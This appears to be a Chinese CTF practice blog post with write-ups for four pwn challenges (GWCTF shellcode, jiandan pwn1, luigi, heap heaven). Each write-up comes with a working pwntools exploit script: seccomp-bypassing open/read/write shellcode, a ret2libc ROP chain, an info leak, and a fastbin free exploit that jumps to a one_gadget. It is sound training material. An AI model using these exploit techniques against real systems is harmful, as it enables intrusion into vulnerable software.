[ctfbub.pwn] 练习 16-

GWCTF-2019-Pwn-shellcode

不知道为啥F5不行,就直接看汇编。

这里边先call set_secommp显然是不让execve要用orw,然后是read(0,s,0x64)读入shellcode,然后检查是否可打印字符。

坑:read后eax的值为读入的长度,在这作了个sub eax,1 就是减1然后置0就删掉了最后一个字符。所以要加个尾。

 打印字符检查里遇0就返回了,所以可以用个0跳过。

from pwn import *

#p = remote('challenge-c6636f18857ee1b9.sandbox.ctfhub.com', 20766)
p = process('./pwn')

context(arch='amd64', log_level='debug')

'''
1,禁用了execve 不能直接用shellcraft.sh()
2,检查是否可打印字符,由于ORW长度不够不能全用可打印shellcode 用push 0截断
3,read后会删掉最后一个字符,在尾部需随意添加一个字符填充
'''
payload = "push 0"
payload+= shellcraft.open("/flag",0) #读文件
payload+= shellcraft.read("rax","rsp",0x300)
payload+= shellcraft.write(1,"rsp",0x300)

p.sendafter(b"Welcome,tell me your name:", asm(payload)+b'aaa')

p.interactive()

网站的后端可能有问题,一直没反应。100点又没了。

GWCTF-2019-Pwn-jiandan pwn1

就是个简单的栈溢出,只不过中间经过v4,只要在v4的问题放上v4当时的值+1或者跳到下一个位置也可以。

from pwn import *

p = process("./pwn")
#p = remote('challenge-0fe3edd8dc7a8929.sandbox.ctfhub.com', 37463)

context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
pop_rdi = 0x0000000000400743 # pop rdi ; ret

p.recvline()
p.sendline(b'A'*(0x10c) + p8(0x18) + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], 0x400540)) #

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x80ed0
system = libc_base + 0x50d60
bin_sh = libc_base + 0x1d8698
print('libc:', hex(libc_base))

p.sendline(b'A'*(0x10c) + p8(0x18) + flat(pop_rdi+1, pop_rdi, bin_sh, system, 0x40069e))

p.interactive()

这个题ctfhub后台有问题,不显示输出。这个好像没啥办法。

2017-Hackerolympiad-Pwn-luigi

0解是有原因了,估计是后台没有flag.txt这个文件。

题目要输入用户名到s1 和v4然后读入flag.txt到s2如果不是admin会显示用户名,如果用户名输满64字符则会带出flag

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[64]; // [rsp+0h] [rbp-D0h] BYREF
  char s1[64]; // [rsp+40h] [rbp-90h] BYREF
  char s2[72]; // [rsp+80h] [rbp-50h] BYREF
  unsigned __int64 v7; // [rsp+C8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  puts("Enter username:");
  s1[(int)read_string(s1, 64LL)] = 0;   //在最后一位后加0,输64字符不被截断
  puts("Enter password:");
  v4[(int)read_string(v4, 64LL)] = 0;
  read_flag(s2, 64LL);
  if ( !strcmp(s1, "admin") )
  {
    if ( !strcmp(v4, s2) )
    {
      puts("Logged in!");
      printf("The flag is: %s\n", s2);
    }
  }
  else
  {
    printf("Invalid user %s\n", s1);
  }
  return 0;
}
from pwn import *

p = process("./pwn")
#p = remote("challenge-ddaeddf4bee90cf0.sandbox.ctfhub.com", 27185)

context.log_level = 'debug'

p.sendafter(b'Enter username:', b'A'*64)
p.sendafter(b"Enter password:\n", b'A\n')
p.recvline()

p.interactive()

Hack.lu-Pwn-heap heaven

看上去是个堆题,但是明显不同。这里只有随意写和free

漏洞有两点:

  1. puts(*v2); 这里如果输出v2处的值应该是puts(v2),加*后就是把v2作为指针输出
  2. free的时候,并没有限制长度,这样可以通过偏移从mmap得到址地址,从而释放堆块。
__int64 __fastcall leak_wrapper(__int64 a1)
{
  const char **v2; // [rsp+18h] [rbp-8h]

  v2 = (const char **)(mmapped + a1);
  if ( mmapped + a1 > (unsigned __int64)(MMAP_SIZE - 8LL + mmapped) || (unsigned __int64)v2 < mmapped )
    return 1LL;
  puts(*v2);
  return 0LL;
}
__int64 __fastcall free_wrapper(__int64 a1)
{
  free((void *)(mmapped + a1));
  return 0LL;
}

先造个大块标记,free后会生成指向main_arena+68的指针,在这个指针附近有libc地址,堆地址和mmap的地址(尾号是0,需要向前加1位偏移)。

#0x7f8931976b78:	0x000055e70566e040	0x0000000000000000
#0x7f8931976b88:	0x0000000911f15000	0x0000000911f15000
#0x7f8931976b98:	0x00007f8931976b88	0x00007f8931976b88

另外一个结构state->bye,menu,先在mmap里释放一个块,这样这个地址会放入fastbin,再去把state释放掉,fd会指向上一个被释放的块,这样state->刚释放到fastbin的块-0x10的位置,这时候提前把-8的位置改为one_gadget就可以当作menu来执行。

from pwn import *

'''  
patchelf --set-interpreter /home/shi/buuctf/buuoj_2.23_amd64/ld_2.23-0ubuntu10_amd64.so pwn
patchelf --add-needed /home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so pwn
'''

#p = process('./pwn')
p = remote('challenge-75ca350048660222.sandbox.ctfhub.com', 31222) 

libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'

menu = b"[5] : exit\n"
def write(offset, msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"How much do you want to write?\n", str(len(msg)).encode())
    p.sendlineafter(b"At which offset?\n", str(offset).encode())
    p.send(msg)

def show(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"At which offset do you want to leak?\n", str(idx).encode())

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"At which offset do you want to free?\n", str(idx).encode())

write(8, p64(0x101))
write(0x108,p64(0x21))
write(0x128,p64(0x21))

'''
0x7f8931976b78:	0x000055e70566e040	0x0000000000000000
0x7f8931976b88:	0x0000000911f15000	0x0000000911f15000
0x7f8931976b98:	0x00007f8931976b88	0x00007f8931976b88
'''

free(0x10)
show(0x10)
heap_base = u64(p.recvline()[:-1].ljust(8, b'\0')) - 0x40
print('heap:', hex(heap_base))

write(0x10, p8(0x89))
show(0x10)
mmap_base = u64(b'\x00'+p.recvline()[:-1].ljust(7, b'\0'))
print('mmap:', hex(mmap_base))

write(0x10, p8(0x98))
show(0x10)
libc_base = u64(p.recvline()[:-1].ljust(8, b'\0')) - 0x78 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
one_gadget = libc_base + one[2]
print('libc:', hex(libc_base))

write(0, flat(0,0x21,0,0,0,0x21,0,0,0,0x21))
free(0x10)

write(8, p64(one_gadget))  #state->mmap+0,mmap+8=menu=one
free(heap_base+0x10 - mmap_base)

p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值